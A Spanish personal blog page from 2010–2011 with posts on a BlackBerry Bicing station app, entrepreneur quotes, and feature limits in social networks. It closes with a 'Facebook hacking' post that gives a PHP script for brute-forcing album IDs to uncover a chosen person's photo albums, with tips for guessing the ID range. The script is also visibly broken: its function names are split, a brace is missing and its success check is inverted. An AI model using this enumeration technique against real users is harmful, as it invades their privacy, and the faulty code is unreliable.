feb 21 2011

BBicing: Aplicación bicing para blackberry!

Category: BlackBerry,Código,Socialguillem @ 2:33

ACTUALIZACIÓN: Ya está colgada una nueva versión que funciona de nuevo, seguid el enlace del pie del post :)

Cansado de andar por Barcelona buscando paradas del bicing o intentando dejar una bici sin saber exactamente dónde había sitios libres me decidí a crear una aplicación para consultar el servicio de Bicing desde Blackberry de forma sencilla.

Simplemente hay que tener instalado googlemaps y la aplicación de BBicing creada por un servidor. Luego, simplemente lanzas el BBicing y te abre el googlemaps con los puntos de las estaciones con un icono indicando disponibilidad. Además, situándote sobre el icono te indica los espacios disponibles.

Esta versión es ‘pre-alpha’ si es que llega, pero la verdad es que por el momento cumple su cometido. Espero que sea útil para más gente.

La podéis descargar aquí (es completamente gratis! aunque se agradecen los comentarios y los posts enlazando al blog :) ):

BBicing: Aplicación bicing para blackberry

NOTA: Es para descargar directamente OTA en la blackberry!

Etiquetas: , , ,


dic 10 2010

Mis 15 citas favoritas para emprendedores

Category: Curiosidades,Emprendedores,Socialguillem @ 3:11

Siempre hay frases que inspiran y enseñan.

Sin duda en el mundo de los emprendedores existen varias.

Las quince siguientes son mis favoritas.

¿Tenéis vosotros alguna que no está aquí?

He fallado más de 9000 tiros en mi carrera. He perdido casi 300 partidos. En 26 ocasiones se me ha confiado el tiro para ganar el partido y he fallado. He fallado una y otra vez a lo largo de mi vida. Por eso he triunfado.
- Michael Jordan

El fracaso derrota a los perdedores e inspira a los ganadores.
- Robert T. Kiyosaki

Los emprendedores promedian 3.8 fracasos antes de alcanzar el éxito. Lo que diferencia a los que tienen éxito es  su extraordinaria persistencia.
- Lisa Amos

Algunas personas sueñan con grandes logros, mientras que otros no duermen cumpliéndolos.
- Anónimo

El ingrediente básico es mover ese trasero y empezar a actuar. Es tan simple como eso. Muchas personas tienen ideas, pero pocas deciden hacer algo al respecto hoy. No mañana. No la próxima semana. Hoy. El verdadero emprendedor no es un soñador, es un hacedor.
- Nolan Bushnell

El fracaso es la oportunidad de empezar de nuevo, pero más inteligentemente.
- Henry Ford

En la vida hay algo peor que el fracaso: no haber intentado nada.
- Franklin D. Roosevelt

Lo más valioso que puedes hacer es equivocarte – no puedes aprender nada de ser perfecto.
- Adam Osborne

La innovación distingue entre el líder y el seguidor.
- Steve Jobs

Tanto si piensas que puedes como que no, estás en lo correcto.
- Henry ford

Locura: hacer lo mismo repetidas veces esperando distintos resultados.
- Albert Einstein

Un hombre debe ser suficientemente valiente como para aceptar sus errores, suficientemente listo para sacarles provecho y suficientemente fuerte para corregirlos.
- John C. Maxwell

¿Qué harias si supieras que no puedes fallar?
- Robert H. Schuller

Desear algo no es suficiente. Debes ansiarlo. Tu motivación ha de ser total y absoluta para sobrellevar los obstáculos que seguro apareceran en tu camino..
- Les Brown

Think P.I.G. – ese es mi lema. P se refiere Persistencia, I a Integridad, y G a Agallas (en inglés Guts). Esos son los ingredientes para un negocio y una vida de éxito.
- Linda Chandler

Etiquetas: , ,


nov 16 2010

¿Es ‘limitar’ una de las claves del éxito?

Category: Emprendedores,Socialguillem @ 1:21

Desde ya hace tiempo, pero en especial en el último año, intento analizar de la forma más meticulosa posible los motivos de éxito de algunas propuestas en el campo de las redes sociales.

Debo admitir que dentro de dicho análisis, hace ya un tiempo que me encuentro con propuestas en que parece que parte del éxito se basa en ‘limitar’ las funcionalidades al usuario. Y no me refiero al hecho de limitar únicamente para focalizar en una funcionalidad concreta (que me parece una solución muy razonable y que posiciona los productos de forma muy clara) sinó en el hecho de restringir el propio concepto del producto.

Quizá el caso más evidente de ello sea twitter, que trasladó un modelo parecido al SMS pero a un formato web, y que ha tenido un éxito tremendo. Para muchos se trata simplemente de una forma de microblogging. Para mi, en primera instancia era realmente un SMS ‘broadcasting’ y a través de la web, añadiendo la limitación de los 140 carácteres más propia de los SMS y que en un entorno web no tiene ningun fundamentoo tecnológico (no digo que no lo tenga a nivel de producto). Debo admitir igualmente, que a posteriori, twitter creo que ha ido derivando con su uso y ahora permite ser una herramienta de microcomunicación y búsqueda en tiempo real (espero poder comentar más extensamente esto en un post).

Otro caso que me ha llamado la atención últimamente es el de path.com, una nueva red social en que el número de amigos está limitado a 50. La verdad es que tengo un enorme interés por ver en que deriva esta startup que de momento tiene un importante respaldo tanto a nivel técnico (Dave Morin, el que fuera uno de los cabecillas de la red de desarrolladores de facebook) como económico. De igual forma, me parece que entre otra de sus limitaciones (y en este caso creo que no forma parte en sí del producto) es la de estar sólo disponible para iPhone. La verdad entiendo que iPhone tiene mucha pegada pero somos muchos los usuarios que no trabajamos con iPhone.

Así pues, habrá que ver hacia dónde nos lleva todo este nuevo paradigma de la limitación. Quien sabe, quizá en un futuro lo ‘cool’ sea no poder tener a más de 20 personas en tu agenda o no poder comprar más de 15 productos en el super ;)

Etiquetas: , , ,


nov 06 2010

Facebook ‘hacking’

Category: Linux,PHP,pseudo-hacks,Socialguillem @ 4:05

El ‘hacking’ del título está entre comillas porque realmente no se trata de ninguna cosa muy espectacular. Lo que os quiero mostrar a continuación es un pequeño script en PHP que hice ya hace algún tiempo y que permite obtener la dirección de un álbum de alguien de facebook para poder verlo. Obviamente dicha persona no debe tener restringido el álbum, pues en caso de ser así no se ve nada de nada. Sin embargo, en el caso de que no esté restringido, se pueden ver álbumes completos a los que de otra forma no podríamos acceder. En definitiva no deja de ser un script para ‘deofuscación’ más que un hack.

En el script en si hay que poner tres parámetros:
– el $uid: corresponde al indentificador del usuario del que queréis buscar el álbum
– $from y $to: corresponden a los identificadores de álbum entre los que queremos buscar. Estos dos parámetros son los difíciles de aproximar. Por lo que he podido ver parece que se asignan de forma secuencial a cada álbum que se crea. La mejor forma para aproximar es buscar algún perfil con un Id cercano al que estáis buscando el álbum y que permita ver sus álbumes. Mirad el aid del álbum de dicho perfil y probad con un from y un to entre 500 más abajo y 500 más arriba (por lo menos). Este método sin duda es muy rudimentario, pero funciona. Quizá algún día automatice el script para que haga también una estimación del from y el to, pero eso será más adelante…

//Set User ID here
$uid = 4;
//Album ID to start from. 'Guessing' required...
$from = 1;
//Album ID to finish at. 'Guessing' required...
$to = 500;

$server = gethostbyname( 'www.facebook.com' );

for ( $ii = $from; $ii < $to; $ii++ )
{
sockAccess( $ii );
}

function sockAccess($ii)
{
global $uid;
$page = "album.php?aid=$ii&id=$uid";
global $server;
$errno = '';
$errstr = '';
$fp = 0;
$fp = fsockopen( $server, 80, $errno, $errstr, 30 );
if( $fp === 0 )
die( "Error $errstr ($errno)" );

$out = "GET /$page HTTP/1.1\r\n";
$out .= "Host: $server\r\n";
$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1";
$out .= " en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$out .= "Connection: Close\r\n\r\n";
f write( $fp, $out );
$content = fgets( $fp );
$code = trim( substr( $content, 9, 4 ) );
f close( $fp );
if( $code != 200 )
echo "Album found!: http://www.facebook.com/album.php?aid=$ii&id=$uid\n";
if( !($ii%10) )
echo "Trying around: $ii\n";
return true;

Etiquetas: , , ,